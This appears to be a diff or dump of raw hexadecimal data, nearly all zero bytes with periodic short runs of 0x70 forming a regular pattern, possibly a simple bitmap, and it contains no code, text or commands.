+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 